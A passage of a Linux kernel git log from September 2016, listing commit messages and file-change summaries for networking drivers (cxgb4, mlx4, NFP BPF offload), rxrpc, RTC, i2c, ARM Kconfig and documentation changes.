LE-TCAM region of the hardware. IPv4 filters occupy one slot. IPv6 filters occupy 4 slots and must be on a 4-slot boundary. IPv4 filters can not occupy a slot belonging to IPv6 and the vice-versa is also true. Filters are set and deleted asynchronously. Use completion to wait for reply from firmware in order to allow for synchronization if needed. Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 3 + drivers/net/ethernet/chelsio/cxgb4/cxgb4_filter.c | 477 +++++++++++++++++++++- drivers/net/ethernet/chelsio/cxgb4/cxgb4_filter.h | 1 + drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 39 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.h | 26 +- 5 files changed, 512 insertions(+), 34 deletions(-) commit d57fd6cafbad29d0648ed769f6df07b02f10d613 Author: Rahul Lakkireddy Date: Tue Sep 20 17:13:06 2016 +0530 cxgb4: move common filter code to separate file Move common filter code to separate files. Also fix the following checkpatch checks. CHECK: Comparison to NULL could be written "!f->l2t" + if (f->l2t == NULL) { CHECK: spaces preferred around that '/' (ctx:VxV) + fwr->len16_pkd = htonl(FW_WR_LEN16_V(sizeof(*fwr)/16)); Signed-off-by: Rahul Lakkireddy Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/Makefile | 2 +- drivers/net/ethernet/chelsio/cxgb4/cxgb4.h | 23 ++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_filter.c | 274 ++++++++++++++++++++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_filter.h | 47 ++++ drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 264 +-------------------- 5 files changed, 346 insertions(+), 264 deletions(-) commit ecf4ee41d25832a6ec52f8b54dfaa46c08b949d5 Author: Shmulik Ladkani Date: Tue Sep 20 12:48:37 2016 +0300 net: skbuff: Coding: Use eth_type_vlan() instead of open coding it Fix 'skb_vlan_pop' to use eth_type_vlan instead of directly comparing skb->protocol to ETH_P_8021Q or ETH_P_8021AD. Signed-off-by: Shmulik Ladkani Reviewed-by: Pravin B Shelar Signed-off-by: David S. Miller net/core/skbuff.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 636c2628086e40c86dac7ddc84a1c4b4fcccc6e3 Author: Shmulik Ladkani Date: Tue Sep 20 12:48:36 2016 +0300 net: skbuff: Remove errornous length validation in skb_vlan_pop() In 93515d53b1 "net: move vlan pop/push functions into common code" skb_vlan_pop was moved from its private location in openvswitch to skbuff common code. In case skb has non hw-accel vlan tag, the original 'pop_vlan()' assured that skb->len is sufficient (if skb->len < VLAN_ETH_HLEN then pop was considered a no-op). This validation was moved as is into the new common 'skb_vlan_pop'. Alas, in its original location (openvswitch), there was a guarantee that 'data' points to the mac_header, therefore the 'skb->len < VLAN_ETH_HLEN' condition made sense. However there's no such guarantee in the generic 'skb_vlan_pop'. For short packets received in rx path going through 'skb_vlan_pop', this causes 'skb_vlan_pop' to fail pop-ing a valid vlan hdr (in the non hw-accel case) or to fail moving next tag into hw-accel tag. Remove the 'skb->len < VLAN_ETH_HLEN' condition entirely: It is superfluous since inner '__skb_vlan_pop' already verifies there are VLAN_ETH_HLEN writable bytes at the mac_header. Note this presents a slight change to skb_vlan_pop() users: In case total length is smaller than VLAN_ETH_HLEN, skb_vlan_pop() now returns an error, as opposed to previous "no-op" behavior. Existing callers (e.g. tc act vlan, ovs) usually drop the packet if 'skb_vlan_pop' fails. Fixes: 93515d53b1 ("net: move vlan pop/push functions into common code") Signed-off-by: Shmulik Ladkani Cc: Pravin Shelar Reviewed-by: Pravin B Shelar Signed-off-by: David S. Miller net/core/skbuff.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 1fbafcb84747d0784fe928bedc4189f47d18ad8f Merge: 688dc53 45a497f Author: David S. Miller Date: Thu Sep 22 01:34:26 2016 -0400 Merge branch 'vlan_act_modify' Shmulik Ladkani says: ==================== act_vlan: Introduce TCA_VLAN_ACT_MODIFY vlan action TCA_VLAN_ACT_MODIFY allows one to change an existing tag. It accepts same attributes as TCA_VLAN_ACT_PUSH (protocol, id, priority). If packet is vlan tagged, then the tag gets overwritten according to user specified attributes. For example, this allows user to replace a tag's vid while preserving its priority bits (as opposed to "action vlan pop pipe action vlan push"). ==================== Signed-off-by: David S. Miller commit 45a497f2d149a4a8061c61518a79d59f1f3034b2 Author: Shmulik Ladkani Date: Mon Sep 19 19:11:10 2016 +0300 net/sched: act_vlan: Introduce TCA_VLAN_ACT_MODIFY vlan action TCA_VLAN_ACT_MODIFY allows one to change an existing tag. It accepts same attributes as TCA_VLAN_ACT_PUSH (protocol, id, priority). If packet is vlan tagged, then the tag gets overwritten according to user specified attributes. For example, this allows user to replace a tag's vid while preserving its priority bits (as opposed to "action vlan pop pipe action vlan push"). Signed-off-by: Shmulik Ladkani Acked-by: Jamal Hadi Salim Signed-off-by: David S. Miller include/uapi/linux/tc_act/tc_vlan.h | 1 + net/sched/act_vlan.c | 29 ++++++++++++++++++++++++++++- 2 files changed, 29 insertions(+), 1 deletion(-) commit bfca4c520f7ea78138ddccea2de18dc062b0fefd Author: Shmulik Ladkani Date: Mon Sep 19 19:11:09 2016 +0300 net: skbuff: Export __skb_vlan_pop This exports the functionality of extracting the tag from the payload, without moving next vlan tag into hw accel tag. Signed-off-by: Shmulik Ladkani Signed-off-by: David S. Miller include/linux/skbuff.h | 1 + net/core/skbuff.c | 7 +++++-- 2 files changed, 6 insertions(+), 2 deletions(-) commit 688dc5369a6311c4d60f8908698c1999910d659f Merge: c3d9b9f a7e1f04 Author: David S. Miller Date: Wed Sep 21 21:52:51 2016 -0400 Merge branch 'mlx4-next' Tariq Toukan says: ==================== mlx4 misc cleanups and improvements This patchset contains some cleanups and improvements from the team to the mlx4 Eth and core drivers. Series generated against net-next commit: 5a7a5555a362 'net sched: stylistic cleanups' ==================== Signed-off-by: David S. Miller commit a7e1f04905e5b2b90251974dddde781301b6be37 Author: Jack Morgenstein Date: Tue Sep 20 14:39:42 2016 +0300 net/mlx4_core: Fix deadlock when switching between polling and event fw commands When switching from polling-based fw commands to event-based fw commands, there is a race condition which could cause a fw command in another task to hang: that task will keep waiting for the polling sempahore, but may never be able to acquire it. This is due to mlx4_cmd_use_events, which "down"s the sempahore back to 0. During driver initialization, this is not a problem, since no other tasks which invoke FW commands are active. However, there is a problem if the driver switches to polling mode and then back to event mode during normal operation. The "test_interrupts" feature does exactly that. Running "ethtool -t offline" causes the PF driver to temporarily switch to polling mode, and then back to event mode. (Note that for VF drivers, such switching is not performed). Fix this by adding a read-write semaphore for protection when switching between modes. Fixes: 225c7b1feef1 ("IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters") Signed-off-by: Jack Morgenstein Signed-off-by: Matan Barak Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/cmd.c | 23 +++++++++++++++++------ drivers/net/ethernet/mellanox/mlx4/mlx4.h | 2 ++ 2 files changed, 19 insertions(+), 6 deletions(-) commit 30353bfc43a1602c020f31d95cf27182ffd23824 Author: Leon Romanovsky Date: Tue Sep 20 14:39:41 2016 +0300 net/mlx4_core: Use RCU to perform radix tree lookup for SRQ Radix tree lookup can be performed without locking. Fixes: 225c7b1feef1 ("IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters") Signed-off-by: Leon Romanovsky Suggested-by: Sagi Grimberg Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/srq.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 57c970c2e8d8772237294bb8a6a25a205448fd96 Author: Kamal Heib Date: Tue Sep 20 14:39:40 2016 +0300 net/mlx4_en: Fix wrong indentation Use tabs instead of spaces before if statement, no functional change. Fixes: e7c1c2c46201 ("mlx4_en: Added self diagnostics test implementation") Signed-off-by: Kamal Heib Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_rx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit de3d6fa81e684af5817dc379ffc394235a9666cc Author: Tariq Toukan Date: Tue Sep 20 14:39:39 2016 +0300 net/mlx4_en: Add branch prediction hints in RX data-path Add likely/unlikely hints to improve branch predictions in the RX data-path. Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_rx.c | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) commit cf1a6474f80735ff4a5d99f3dd68a94dbec8455f Author: David Howells Date: Thu Sep 22 00:41:53 2016 +0100 rxrpc: Add per-peer RTT tracker Add a function to track the average RTT for a peer. Sources of RTT data will be added in subsequent patches. The RTT data will be useful in the future for determining resend timeouts and for handling the slow-start part of the Rx protocol. Also add a pair of tracepoints, one to log transmissions to elicit a response for RTT purposes and one to log responses that contribute RTT data. Signed-off-by: David Howells include/trace/events/rxrpc.h | 61 ++++++++++++++++++++++++++++++++++++++++++++ net/rxrpc/ar-internal.h | 25 +++++++++++++++--- net/rxrpc/misc.c | 8 ++++++ net/rxrpc/peer_event.c | 41 +++++++++++++++++++++++++++++ 4 files changed, 131 insertions(+), 4 deletions(-) commit f07373ead455a396e15a431bc08d8ce1dac6f1cf Author: David Howells Date: Thu Sep 22 00:29:32 2016 +0100 rxrpc: Add re-sent Tx annotation Add a Tx-phase annotation for packet buffers to indicate that a buffer has already been retransmitted. This will be used by future congestion management. Re-retransmissions of a packet don't affect the congestion window managment in the same way as initial retransmissions. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 2 ++ net/rxrpc/call_event.c | 28 +++++++++++++++++++--------- net/rxrpc/input.c | 14 +++++++++++--- 3 files changed, 32 insertions(+), 12 deletions(-) commit 5a924b8951f835b5ff8a3d9f434f3b230fc9905f Author: David Howells Date: Thu Sep 22 00:29:31 2016 +0100 rxrpc: Don't store the rxrpc header in the Tx queue sk_buffs Don't store the rxrpc protocol header in sk_buffs on the transmit queue, but rather generate it on the fly and pass it to kernel_sendmsg() as a separate iov. This reduces the amount of storage required. Note that the security header is still stored in the sk_buff as it may get encrypted along with the data (and doesn't change with each transmission). Signed-off-by: David Howells net/rxrpc/ar-internal.h | 5 ++- net/rxrpc/call_event.c | 11 ++----- net/rxrpc/conn_object.c | 1 - net/rxrpc/output.c | 83 +++++++++++++++++++++++++++++++++---------------- net/rxrpc/rxkad.c | 8 ++--- net/rxrpc/sendmsg.c | 51 +++++------------------------- 6 files changed, 71 insertions(+), 88 deletions(-) commit c3d9b9f3de651a402b0439c073e64c5662172c9b Merge: 2d7a892 e3b8baf Author: David S. Miller Date: Wed Sep 21 19:50:15 2016 -0400 Merge branch 'bpf-hw-offload' Jakub Kicinski says: ==================== BPF hardware offload (cls_bpf for now) Rebased and improved. v7: - fix patch 4. v6 (patch 8 only): - explicitly check for registers >= MAX_BPF_REG; - fix leaky error path. v5: - fix names of guard defines in bpf_verfier.h. v4: - rename parser -> analyzer; - reorganize the analyzer patches a bit; - use bitfield.h directly. --- merge blurb: In the last year a lot of progress have been made on offloading simpler TC classifiers. There is also growing interest in using BPF for generic high-speed packet processing in the kernel. It seems beneficial to tie those two trends together and think about hardware offloads of BPF programs. This patch set presents such offload to Netronome smart NICs. cls_bpf is extended with hardware offload capabilities and NFP driver gets a JIT translator which in presence of capable firmware can be used to offload the BPF program onto the card. BPF JIT implementation is not 100% complete (e.g. missing instructions) but it is functional. Encouragingly it should be possible to offload most (if not all) advanced BPF features onto the NIC - including packet modification, maps, tunnel encap/decap etc. Example of basic tests I used: __section_cls_entry int cls_entry(struct __sk_buff *skb) { if (load_byte(skb, 0) != 0x0) return 0; if (load_byte(skb, 4) != 0x1) return 0; skb->mark = 0xcafe; if (load_byte(skb, 50) != 0xff) return 0; return ~0U; } Above code can be compiled with Clang and loaded like this: ethtool -K p1p1 hw-tc-offload on tc qdisc add dev p1p1 ingress tc filter add dev p1p1 parent ffff: bpf obj prog.o action drop This set implements the basic transparent offload, the skip_{sw,hw} flags and reporting statistics for cls_bpf. ==================== Signed-off-by: David S. Miller commit e3b8baf0ca2a69f88846b5446234e5647ecd17eb Author: Jakub Kicinski Date: Wed Sep 21 11:44:07 2016 +0100 nfp: bpf: add offload of TC direct action mode Add offload of TC in direct action mode. We just need to provide appropriate checks in the verifier and a new outro block to translate the exit codes to what data path expects Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/nfp_bpf.h | 1 + drivers/net/ethernet/netronome/nfp/nfp_bpf_jit.c | 66 ++++++++++++++++++++++ .../net/ethernet/netronome/nfp/nfp_bpf_verifier.c | 11 +++- .../net/ethernet/netronome/nfp/nfp_net_offload.c | 6 +- 4 files changed, 82 insertions(+), 2 deletions(-) commit 2d18421debc29a338e6783c06fb75ab7b16fc9ba Author: Jakub Kicinski Date: Wed Sep 21 11:44:06 2016 +0100 nfp: bpf: add support for legacy redirect action Data path has redirect support so expressing redirect to the port frame came from is a trivial matter of setting the right result code. Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/nfp_bpf.h | 1 + drivers/net/ethernet/netronome/nfp/nfp_bpf_jit.c | 2 ++ drivers/net/ethernet/netronome/nfp/nfp_net_offload.c | 4 ++++ 3 files changed, 7 insertions(+) commit 9798e6fe4f9b6a2847a40e24b75e68afdc7a01b3 Author: Jakub Kicinski Date: Wed Sep 21 11:44:05 2016 +0100 net: act_mirred: allow statistic updates from offloaded actions Implement .stats_update() callback. The implementation is generic and can be reused by other simple actions if needed. Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller net/sched/act_mirred.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 19d0f54edab6e77b6b73277ac33717be1f858fa8 Author: Jakub Kicinski Date: Wed Sep 21 11:44:04 2016 +0100 nfp: bpf: add packet marking support Add missing ABI defines and eBPF instructions to allow mark to be passed on and extend prepend parsing on the RX path to pick it up from packet metadata. Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/nfp_bpf.h | 2 + drivers/net/ethernet/netronome/nfp/nfp_bpf_jit.c | 19 +++++ drivers/net/ethernet/netronome/nfp/nfp_net.h | 2 + .../net/ethernet/netronome/nfp/nfp_net_common.c | 91 +++++++++++++++++----- drivers/net/ethernet/netronome/nfp/nfp_net_ctrl.h | 7 ++ .../net/ethernet/netronome/nfp/nfp_netvf_main.c | 2 +- 6 files changed, 101 insertions(+), 22 deletions(-) commit 66860beb7ed5df11433528cb535d5e9f7dad2302 Author: Jakub Kicinski Date: Wed Sep 21 11:44:03 2016 +0100 nfp: bpf: allow offloaded filters to update stats Periodically poll stats and call into offloaded actions to update them. Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/nfp_net.h | 19 +++++++ .../net/ethernet/netronome/nfp/nfp_net_common.c | 3 ++ .../net/ethernet/netronome/nfp/nfp_net_ethtool.c | 12 +++++ .../net/ethernet/netronome/nfp/nfp_net_offload.c | 63 ++++++++++++++++++++++ 4 files changed, 97 insertions(+) commit 68d640630d4ef2a4bf3f68b5073dec5e4c4f878b Author: Jakub Kicinski Date: Wed Sep 21 11:44:02 2016 +0100 net: cls_bpf: allow offloaded filters to update stats Call into offloaded filters to update stats. Signed-off-by: Jakub Kicinski Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/net/pkt_cls.h | 1 + net/sched/cls_bpf.c | 11 +++++++++++ 2 files changed, 12 insertions(+) commit 7533fdc0f77f207fcc370b10965f4bcee82dfedf Author: Jakub Kicinski Date: Wed Sep 21 11:44:01 2016 +0100 nfp: bpf: add hardware bpf offload Add hardware bpf offload on our smart NICs. Detect if capable firmware is loaded and use it to load the code JITed with just added translator onto programmable engines. This commit only supports offloading cls_bpf in legacy mode (non-direct action). Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/Makefile | 1 + drivers/net/ethernet/netronome/nfp/nfp_net.h | 26 ++- .../net/ethernet/netronome/nfp/nfp_net_common.c | 40 +++- drivers/net/ethernet/netronome/nfp/nfp_net_ctrl.h | 44 ++++- .../net/ethernet/netronome/nfp/nfp_net_offload.c | 220 +++++++++++++++++++++ 5 files changed, 324 insertions(+), 7 deletions(-) commit cd7df56ed3e60d046ddb3acd987778c00aa9ee33 Author: Jakub Kicinski Date: Wed Sep 21 11:44:00 2016 +0100 nfp: add BPF to NFP code translator Add translator for JITing eBPF to operations which can be executed on NFP's programmable engines. Signed-off-by: Jakub Kicinski Signed-off-by: David S. Miller drivers/net/ethernet/netronome/nfp/Makefile | 6 + drivers/net/ethernet/netronome/nfp/nfp_asm.h | 233 +++ drivers/net/ethernet/netronome/nfp/nfp_bpf.h | 208 +++ drivers/net/ethernet/netronome/nfp/nfp_bpf_jit.c | 1724 ++++++++++++++++++++ .../net/ethernet/netronome/nfp/nfp_bpf_verifier.c | 162 ++ 5 files changed, 2333 insertions(+) commit 6b17387307bafc71624b9890b9239b6a438e2e89 Author: Jakub Kicinski Date: Wed Sep 21 11:43:59 2016 +0100 bpf: recognize 64bit immediate loads as consts When running as parser interpret BPF_LD | BPF_IMM | BPF_DW instructions as loading CONST_IMM with the value stored in imm. The verifier will continue not recognizing those due to concerns about search space/program complexity increase. Signed-off-by: Jakub Kicinski Acked-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/bpf/verifier.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 13a27dfc669724564aafa2699976ee756029fed2 Author: Jakub Kicinski Date: Wed Sep 21 11:43:58 2016 +0100 bpf: enable non-core use of the verfier Advanced JIT compilers and translators may want to use eBPF verifier as a base for parsers or to perform custom checks and validations. Add ability for external users to invoke the verifier and provide callbacks to be invoked for every intruction checked. For now only add most basic callback for per-instruction pre-interpretation checks is added. More advanced users may also like to have per-instruction post callback and state comparison callback. Signed-off-by: Jakub Kicinski Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/bpf_verifier.h | 11 +++++++ kernel/bpf/verifier.c | 68 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 79 insertions(+) commit 58e2af8b3a6b587e4ac8414343581da4349d3c0f Author: Jakub Kicinski Date: Wed Sep 21 11:43:57 2016 +0100 bpf: expose internal verfier structures Move verifier's internal structures to a header file and prefix their names with bpf_ to avoid potential namespace conflicts. Those structures will soon be used by external analyzers. Signed-off-by: Jakub Kicinski Acked-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/linux/bpf_verifier.h | 79 +++++++++++++ kernel/bpf/verifier.c | 266 +++++++++++++++++-------------------------- 2 files changed, 182 insertions(+), 163 deletions(-) commit 3df126f35f88dc76eea33769f85a3c3bb8ce6c6b Author: Jakub Kicinski Date: Wed Sep 21 11:43:56 2016 +0100 bpf: don't (ab)use instructions to store state Storing state in reserved fields of instructions makes it impossible to run verifier on programs already marked as read-only. Allocate and use an array of per-instruction state instead. While touching the error path rename and move existing jump target. Suggested-by: Alexei Starovoitov Signed-off-by: Jakub Kicinski Acked-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/bpf/verifier.c | 70 +++++++++++++++++++++++++++++---------------------- 1 file changed, 40 insertions(+), 30 deletions(-) commit eadb41489fd2249e71fd14b36fb488ed7217ca4b Author: Jakub Kicinski Date: Wed Sep 21 11:43:55 2016 +0100 net: cls_bpf: add support for marking filters as hardware-only Add cls_bpf support for the TCA_CLS_FLAGS_SKIP_SW flag. Signed-off-by: Jakub Kicinski Acked-by: Daniel Borkmann Signed-off-by: David S. Miller net/sched/cls_bpf.c | 34 +++++++++++++++++++++++++--------- 1 file changed, 25 insertions(+), 9 deletions(-) commit 0d01d45f1b251448590c710baa32f722e43c62c7 Author: Jakub Kicinski Date: Wed Sep 21 11:43:54 2016 +0100 net: cls_bpf: limit hardware offload by software-only flag Add cls_bpf support for the TCA_CLS_FLAGS_SKIP_HW flag. Unlike U32 and flower cls_bpf already has some netlink flags defined. Create a new attribute to be able to use the same flag values as the above. Unlike U32 and flower reject unknown flags. Signed-off-by: Jakub Kicinski Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/net/pkt_cls.h | 1 + include/uapi/linux/pkt_cls.h | 1 + net/sched/cls_bpf.c | 22 ++++++++++++++++++++-- 3 files changed, 22 insertions(+), 2 deletions(-) commit 332ae8e2f6ecda5e50c5c62ed62894963e3a83f5 Author: Jakub Kicinski Date: Wed Sep 21 11:43:53 2016 +0100 net: cls_bpf: add hardware offload This patch adds hardware offload capability to cls_bpf classifier, similar to what have been done with U32 and flower. Signed-off-by: Jakub Kicinski Acked-by: Daniel Borkmann Signed-off-by: David S. Miller include/linux/netdevice.h | 2 ++ include/net/pkt_cls.h | 14 ++++++++++ net/sched/cls_bpf.c | 70 +++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 86 insertions(+) commit a0056afe21fdf79d1fad2b8fb14868cd710d400f Author: Dave Jiang Date: Wed Sep 21 15:28:29 2016 -0700 nvdimm: remove duplicate nd_mapping declaration Signed-off-by: Dave Jiang Signed-off-by: Dan Williams drivers/nvdimm/nd-core.h | 1 - 1 file changed, 1 deletion(-) commit 473195f80f3940afc8a1461831d74f9a44bba538 Author: Axel Lin Date: Fri Sep 9 18:03:54 2016 +0800 rtc: ac100: Add NULL checking for devm_kzalloc call devm_kzalloc can return NULL, add NULL checking to prevent NULL pointer dereference. Signed-off-by: Axel Lin Signed-off-by: Alexandre Belloni drivers/rtc/rtc-ac100.c | 3 +++ 1 file changed, 3 insertions(+) commit ee85bb5bbe4ae690b48625874bc2b6ecc981326e Author: Raghavendra Ganiga Date: Wed Aug 31 22:56:41 2016 +0530 rtc: ds1347: changed raw spi calls to register map calls This patch changes calls of spi read write calls to register map read and write calls in rtc ds1347 Signed-off-by: Raghavendra Chandra Ganiga Signed-off-by: Alexandre Belloni drivers/rtc/Kconfig | 1 + drivers/rtc/rtc-ds1347.c | 96 ++++++++++++++++++++++++++---------------------- 2 files changed, 54 insertions(+), 43 deletions(-) commit 79c70c304b0b443429b2a0019518532c5162817a Author: Jonathan Corbet Date: Wed Sep 21 15:46:18 2016 -0600 docs: Remove space-before-label guidance from CodingStyle Recent discussion has made it clear that there is no community consensus on this particular rule. Remove it now, lest it inspire yet another set of unwanted "cleanup" patches. This partially reverts 865a1caa4b6b (CodingStyle: Clarify and complete chapter 7). Cc: Jean Delvare Signed-off-by: Jonathan Corbet Documentation/CodingStyle | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit dca22a63fd036c3ebb50212060eba0080f178126 Author: Mauro Carvalho Chehab Date: Wed Sep 21 08:51:05 2016 -0300 docs-rst: add inter-document cross references Add cross references for the development process documents that were converted to ReST: Documentation/SubmitChecklist Documentation/SubmittingDrivers Documentation/SubmittingPatches Documentation/development-process/development-process.rst Documentation/stable_kernel_rules.txt Signed-off-by: Mauro Carvalho Chehab Acked-by: Greg Kroah-Hartman Signed-off-by: Jonathan Corbet Documentation/SubmitChecklist | 10 +++++---- Documentation/SubmittingDrivers | 7 ++++--- Documentation/SubmittingPatches | 24 ++++++++++++++-------- .../development-process/development-process.rst | 2 ++ Documentation/stable_kernel_rules.txt | 7 +++++-- 5 files changed, 32 insertions(+), 18 deletions(-) commit 06ad6367101c0ba65c863287468539e3d8c69ca3 Author: Mauro Carvalho Chehab Date: Wed Sep 21 07:49:18 2016 -0300 Documentation/email-clients.txt: convert it to ReST markup As this file is mentioned at the development-process/ book, let's convert it to ReST markup. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/email-clients.txt | 214 ++++++++++++++++++++++------------------ 1 file changed, 117 insertions(+), 97 deletions(-) commit 38caa925ee67d2359f45a4a9cd1afa2e23a9eece Author: Jan Glauber Date: Wed Sep 21 08:51:04 2016 +0200 i2c: octeon: Fix high-level controller status check In case the high-level controller (HLC) is used the status code is reported at a different location. Check that location after HLC write operations if the ready bit is not set and return an appropriate error code instead of always returning -EAGAIN. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) commit de919ff6a0060510b099405d9b8f9413aba9ae14 Author: Dmitry Bazhenov Date: Wed Sep 21 08:51:03 2016 +0200 i2c: octeon: Avoid sending STOP during recovery Due to a bug in the ThunderX I2C hardware sending STOP during a recovery attempt could lock up the hardware. To work around this problem do not send STOP at the beginning of the recovery but use the override registers to bring the TWSI including the high-level controller out of the bad state. Signed-off-by: Dmitry Bazhenov Signed-off-by: Jan Glauber [Changed commit message] Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit e7051556b63dac163a82db6e6f324196c0c81e5b Author: Dmitry Bazhenov Date: Wed Sep 21 08:51:02 2016 +0200 i2c: octeon: Fix set SCL recovery function The set SCL recovery function unconditionally pulls the SCL line low. Only pull SCL line low according to val parameter. Signed-off-by: Dmitry Bazhenov Signed-off-by: Jan Glauber [Changed commit message] Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 41d88559c31bfd2a7e5dd105362f0e39f810401c Author: Arvind Yadav Date: Tue Sep 20 16:24:06 2016 +0530 clk: nxp: clk-lpc32xx: Unmap region obtained by of_iomap Free memory mapping, if lpc32xx_clk_init is not successful. Signed-off-by: Arvind Yadav Acked-by: Vladimir Zapolskiy Acked-by: Sylvain Lemieux Signed-off-by: Stephen Boyd drivers/clk/nxp/clk-lpc32xx.c | 1 + 1 file changed, 1 insertion(+) commit e13688fe618881dd407a68dfbd2295d70b21a445 Author: Kishon Vijay Abraham I Date: Wed Sep 14 15:49:06 2016 +0530 ARM: select PCI_DOMAINS config from ARCH_MULTIPLATFORM PCI_DOMAINS config should be selected for any SoCs having more than a single PCIe controller. Without PCI_DOMAINS config, only one PCIe controller gets registered. Select PCI_DOMAINS in ARCH_MULTIPLATFORM if PCI is selected, since it doesn't harm even if a platform has a single PCIe port. Also remove PCI_DOMAINS being selected from other platform specific configs. Signed-off-by: Kishon Vijay Abraham I Acked-by: Krzysztof Kozlowski Signed-off-by: Arnd Bergmann arch/arm/Kconfig | 1 + arch/arm/mach-axxia/Kconfig | 1 - arch/arm/mach-cns3xxx/Kconfig | 1 - arch/arm/mach-exynos/Kconfig | 1 - arch/arm/mach-imx/Kconfig | 2 -- arch/arm/mach-keystone/Kconfig | 1 - arch/arm/mach-shmobile/Kconfig | 1 - 7 files changed, 1 insertion(+), 7 deletions(-) commit 6016b23bd553f60cfb2fd9023fe8da4c116d9572 Author: Kishon Vijay Abraham I Date: Wed Sep 14 15:49:05 2016 +0530 ARM: stop *MIGHT_HAVE_PCI* config from being selected redundantly *MIGHT_HAVE_PCI* config is already selected in ARCH_MULTIPLATFORM. Don't select it redundantly in all ARCH_MULTIPLATFORM based machines. Signed-off-by: Kishon Vijay Abraham I Acked-by: Alexandre Belloni Acked-by: Krzysztof Kozlowski Signed-off-by: Arnd Bergmann arch/arm/mach-at91/Kconfig | 1 - arch/arm/mach-axxia/Kconfig | 1 - arch/arm/mach-exynos/Kconfig | 1 - arch/arm/mach-integrator/Kconfig | 1 - arch/arm/mach-keystone/Kconfig | 1 - arch/arm/mach-spear/Kconfig | 1 - arch/arm/mach-versatile/Kconfig | 1 - 7 files changed, 7 deletions(-) commit b32ece0ff70c30e59f16e9a8ffd05acc27298ba3 Author: Don Brace Date: Tue Sep 20 15:42:30 2016 -0500 scsi: hpsa: correct call to hpsa_do_reset calling fill_cmd() using a MACRO definition not handled in switch statement causes BUG() to be called. Signed-off-by: Don Brace Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 2 +- drivers/scsi/hpsa.h | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) commit ea19b4cd61f623a14b86c60ecd5f117f507fb30d Merge: f5f8aaf 335a127 Author: Arnd Bergmann Date: Wed Sep 21 22:41:28 2016 +0200 Merge tag 'qcom-ebi2-arm-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator into next/drivers Pull "Qualcomm EBI2 bindings and bus driver" from Linus Walleij * tag 'qcom-ebi2-arm-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-integrator: bus: qcom: add EBI2 driver bus: qcom: add EBI2 device tree bindings Acked-by: Andy Gross commit 1a66b8512fae1296751386c807042889b41a486d Merge: c3a6627 90cb4b8 Author: Arnd Bergmann Date: Wed Sep 21 22:38:44 2016 +0200 Merge tag 'sunxi-dt-for-4.9-3' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into next/late Pull "Allwinner DT changes for 4.9, late edition" from Maxime Ripard: Here is a bunch of late changes for the 4.9 merge window, mostly: - Added a bunch of touchscreens nodes to tablets - Added support for the AXP806 PMIC found in the A80 boards - Enabled a few pinmux options for the H3 * tag 'sunxi-dt-for-4.9-3' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: ARM: dts: sun8i: Add accelerometer to polaroid-mid2407pxe03 ARM: dts: sun8i: enable UART1 for iNet D978 Rev2 board ARM: dts: sun8i: add pinmux for UART1 at PG dts: sun8i-h3: add I2C0-2 peripherals to H3 SOC dts: sun8i-h3: add pinmux definitions for I2C0-2 dts: sun8i-h3: associate exposed UARTs on Orange Pi 